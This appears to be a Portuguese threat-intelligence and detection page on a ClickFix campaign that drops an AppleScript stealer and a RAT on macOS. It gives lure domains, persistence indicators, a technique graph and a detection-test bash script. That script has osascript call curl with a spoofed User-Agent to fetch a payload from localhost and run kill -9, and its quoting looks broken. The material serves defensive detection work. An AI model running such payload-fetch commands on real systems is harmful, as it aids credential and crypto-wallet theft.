Iscas do ClickFix no macOS Desdobram-se em um Ladrão AppleScript e um RAT Persistente
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um agente de ameaça falante de russo está usando uma campanha de engenharia social ClickFix para implantar uma infecção de malware macOS em duas etapas. O ataque começa com uma cadeia de execução sem arquivo lançada por meio de comandos do terminal e entrega um infostealer baseado em AppleScript chamado Meow (DEBUG), juntamente com um trojan de acesso remoto persistente. O malware tem como alvo carteiras de criptomoedas, credenciais de navegadores e dados de sessões de mensagens, além de realizar injeção de código intrusiva em aplicativos de carteira de desktop.
Investigação
Os Laboratórios de Ameaças da Netskope identificaram uma versão atualizada da campanha em 31 de maio de 2026, mostrando uma mudança de um stealer básico para um RAT mais capaz. A análise deles revelou um fluxo de infecção sofisticado sem arquivo, lógica de geofencing projetada para evitar vítimas falantes de russo e reassinatura ad-hoc usada para contornar as proteções do Gatekeeper do macOS. Os pesquisadores também vincularam a campanha a 25 domínios de isca de curta duração que compartilhavam as mesmas informações de contato do registrador.
Mitigação
Os defensores devem priorizar o bloqueio de domínios de isca e monitorar comandos do terminal suspeitos envolvendo curl and osascript. As organizações devem aplicar controles mais rigorosos sobre o acesso ao terminal e observar alterações não autorizadas aos pacotes de aplicativos de carteira de criptomoedas. A detecção baseada em host também pode focar no plist de persistência com.apple.accountsd e o /tmp/shub_ padrão de estágio.
Resposta
Se esta atividade for detectada, isole o host macOS afetado imediatamente para interromper o roubo de dados ou o movimento lateral potencial. Todas as carteiras de criptomoedas de desktop instaladas devem ser tratadas como comprometidas e reinstaladas a partir de fontes confiáveis. Os investigadores também devem realizar uma revisão forense dos LaunchDaemons e LaunchAgents para entradas não autorizadas, com atenção especial ao com.apple.accountsd.
"graph TB %% Definições de Classe classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef persistence fill:#99ff99 classDef exfiltration fill:#ffff99 %% Acesso Inicial e Execução attack_drive_by["<b>Ação</b> – <b idea='T1189'>Comprometimento por Drive-by</b><br/>Vítimas visitam domínios de isca maliciosos<br/>tais como filesapphirecanvas.sbs ou<br/>filemintcastle.sbs disfarçados como<br/>utilitários macOS ou repositórios GitHub."] class attack_drive_by action attack_user_exec_copy["<b>Ação</b> – <b idea='T1204.004'>Execução pelo Usuário: Cópia e Colagem Maliciosa</b><br/>Engenharia social para que as vítimas copiem<br/>comandos de sites falsos para<br/>o Terminal macOS."] class attack_user_exec_copy action attack_obfuscation["<b>Ação</b> – <b idea='T1027.009'>Arquivos ou Informação Ofuscada: Payloads Embutidos</b><br/>Utiliza gzip-comprimido e base64-codificado<br/>heredoc para executar um carregador da fase 1 na memória."] class attack_obfuscation action %% Lógica do Carregador e Guardrails loader_stage1["<b>Processo</b> – <b idea='Carregador da Fase 1'>Carregador Residente em Memória</b><br/>Executa via cadeia de comando ofuscada<br/>para evitar pegada de disco."] class loader_stage1 tool guardrail_geofence["<b>Ação</b> – <b idea='T1480.002'>Guardrails de Execução: Exclusão Mútua</b><br/>Verifica o layout do teclado macOS para<br/>evitar usuários falantes de russo via<br/>lógica de geofencing."] class guardrail_geofence action loader_reflective["<b>Ação</b> – <b idea='T1620'>Carregamento de Código Reflexivo</b><br/>Busca o AppleScript de segunda fase<br/>via curl e insere diretamente na<br/>memória osascript."] class loader_reflective action %% Payload e Roubo de Credenciais malware_meow["<b>Malware</b> – <b idea='Payload Meow'>Payload Meow</b><br/>Payload residente em memória ativo<br/>após carregamento reflexivo."] class malware_meow malware attack_gui_capture["<b>Ação</b> – <b idea='T1056.002'>Captura de Entrada: Captura de Entrada GUI</b><br/>Usa um diálogo de Preferências do Sistema falsificado<br/>para coletar senhas de login dos usuários."] class attack_gui_capture action attack_securityd["<b>Ação</b> – <b idea='T1555.002'>Credenciais de Armazenamento de Senhas: Memória do Securityd</b><br/>Desbloqueia a chaveiro do macOS para extrair<br/>chaves de Armazenamento Seguro usando senhas coletadas."] class attack_securityd action %% Roubo de Dados e Exfiltração attack_browser_discovery["<b>Ação</b> – <b idea='T1217'>Descoberta de Informações do Navegador</b><br/>Busca por dados de navegador em<br/>Chrome, Safari e Firefox."] class attack_browser_discovery action attack_session_steal["<b>Ação</b> – <b idea='T1539'>Roubo de Cookie de Sessão Web</b><br/>Exfiltra cookies de sessão para<br/>manter acesso não autorizado."] class attack_session_steal exfiltration attack_crypto_theft["<b>Ação</b> – <b idea='T1657'>Roubo Financeiro</b><br/>Alveja carteiras de criptomoedas incluindo<br/>extensões MetaMask e aplicativos de desktop<br/>como Exodus e Ledger."] class attack_crypto_theft exfiltration %% Persistência e C2 persistence_launch["<b>Persistência</b> – <b idea='T1543.001'>LaunchAgent ou LaunchDaemon</b><br/>Cria um mecanismo persistente<br/>disfarçado como com.apple.accountsd."] class persistence_launch persistence c2_beaconing["<b>Ação</b> – <b idea='T1568'>Comando e Controle</b><br/>Estabelece um loop de beaconing de 60 segundos<br/>com Resolução Dinâmica para execução de código arbitrário."] class c2_beaconing tool %% Conexões attack_drive_by –>|leva_a| attack_user_exec_copy attack_user_exec_copy –>|dispara| attack_obfuscation attack_obfuscation –>|executa| loader_stage1 loader_stage1 –>|executa| guardrail_geofence guardrail_geofence –>|habilita| loader_reflective loader_reflective –>|carrega| malware_meow malware_meow –>|executa| attack_gui_capture attack_gui_capture –>|facilita| attack_securityd attack_securityd –>|leva_a| attack_browser_discovery attack_browser_discovery –>|leva_a| attack_session_steal attack_browser_discovery –>|leva_a| attack_crypto_theft malware_meow –>|estabelece| persistence_launch malware_meow –>|comunica_com| c2_beaconing "
Fluxo de Ataque
Detecções
Comando e Controle Suspeito por Solicitação DNS de Domínio de Nível Superior (TLD) Incomum (via dns)
Ver
Possível Tentativa de Descoberta de Senhas de Navegador MacOS (via cmdline)
Ver
Possível Manipulação de Strings Codificadas em Base64 [MacOS] (via cmdline)
Ver
Assinatura Forçada de Código de Pacote de Aplicativo Modificado (via cmdline)
Ver
Validação de Credenciais do MacOS via Dscl Authonly (via cmdline)
Ver
Tentativa Suspeita de Execução de Curl [MacOS] (via cmdline)
Ver
Arquivo Criado na Pasta Temporária do MacOS (via file_event)
Ver
Detecção de Execução do Stealer de AppleScript sem Arquivos no macOS [Criação de Processo Linux]
Ver
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Linha de Base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e devem gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um erro de diagnóstico.
-
Narrativa do Ataque & Comandos: Um adversário ganhou acesso inicial através de um site malicioso. Eles executam um AppleScript sem arquivo no macOS para evitar a análise baseada em arquivos. O objetivo do script é baixar um payload secundário falsificando um User-Agent legítimo do navegador Chrome para evadir a inspeção básica da rede e, em seguida, finalizar imediatamente qualquer aplicativo de carteira de criptomoeda em execução para impedir que o usuário proteja seus fundos. O atacante usa
osascriptpara chamarcurlcom flags específicas ekill -9para executar essas ações. -
Script de Teste de Regressão:
#!/bin/bash # Simulação de Stealer de AppleScript sem arquivos no macOS echo "[+] Iniciando Simulação: Stealer sem arquivos no macOS" # Etapa 1: Simular a busca de payload via curl por osascript (Aciona selection_curl_ua) echo "[+] Executando Etapa 1: Curl Falsificado via osascript..." osascript -e 'do shell script "curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0" http://localhost:8080/payload"' 2>/dev/null & # Aguardar um momento para a criação do processo sleep 2 # Etapa 2: Simular finalização do processo (Aciona selection_kill) # Usamos um processo de teste para matar para não perturbar o sistema echo "[+] Executando Etapa 2: Finalização do Processo via osascript..." sleep 1 osascript -e 'do shell script "kill -9 $$"' # Nota: Isso mata o subshell atual, simulando a intenção # Nota: Para uma simulação mais limpa que imita um alvo real: # sleep 1 && sleep 1 & # osascript -e 'do shell script "kill -9 $!"' echo "[+] Comandos de Simulação Enviados." -
Comandos de Limpeza:
# Nenhum arquivo foi criado pelo script, mas garantimos que não existam processos em segundo plano. killall osascript 2>/dev/null echo "[+] Limpeza Completa."